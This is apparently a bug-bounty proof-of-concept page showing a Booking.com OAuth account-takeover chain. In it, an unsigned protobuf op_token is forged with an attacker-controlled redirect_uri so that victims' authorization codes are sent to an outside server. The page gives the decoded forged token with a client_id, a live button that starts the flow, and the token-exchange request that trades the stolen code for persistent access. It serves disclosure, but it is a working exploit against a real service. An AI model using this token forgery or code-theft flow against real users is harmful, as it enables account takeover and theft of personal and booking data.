Booking.com Account Takeover

Unsigned OAuth op_token → redirect_uri bypass → authorization code theft

Attack Chain

1Attacker forges an unsigned protobuf op_token with redirect_uri=https://booking.givemebountys.xyz/steal
2Victim clicks the link → sees a 100% legitimate account.booking.com login page
3Victim authenticates → authorization code is sent to attacker's server
4Attacker exchanges the code (public client, no PKCE required) → access_token + refresh_token
5Full account takeover with persistent access (offline_access scope)

Root Cause

The /oauth2/authorize/v3 endpoint validates redirect_uri strictly (rejects non-registered URIs with 400). It then serializes the validated request into a protobuf op_token and redirects to /sign-in?op_token=…. The op_token is not signed or MACed — an attacker forges one directly, bypassing the validation entirely.

Evidence

Forged token accepted
/sign-in?op_token=<forged> → HTTP 200 (garbage → 400)
Attacker redirect_uri in page
OAuth config: "redirect_uri":"https://booking.givemebountys.xyz/steal"
PKCE optional
All 3 clients accept S256, plain, or no PKCE
Public clients
Token endpoint: "Missing client_secret or code_verifier in case of public OAuth client"
⚠ Clicking the button below opens a real Booking.com login page. If you authenticate, the authorization code will be sent to this server. Use a test account only.
Start OAuth Flow (opens Booking.com login)

Forged op_token (decoded)

{
  "field_2": "oauth",
  "field_4": {
    "field_1_client_id": "vO1Kblk7xX9tUn2cpZLS",
    "field_2_operation": "authorize",
    "field_3_redirect_uri": "https://booking.givemebountys.xyz/steal",
    "field_4_scope": "openid email profile offline_access",
    "field_5_state": "booking_ato_poc",
    "field_8_response_type": "code"
  }
}

Token Exchange (after code capture)

POST /oauth2/token/v2 HTTP/1.1
Host: account.booking.com
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code
&code=STOLEN_CODE
&client_id=vO1Kblk7xX9tUn2cpZLS
&redirect_uri=https://booking.givemebountys.xyz/steal
# No client_secret needed (public client)
# No code_verifier needed (PKCE was not set)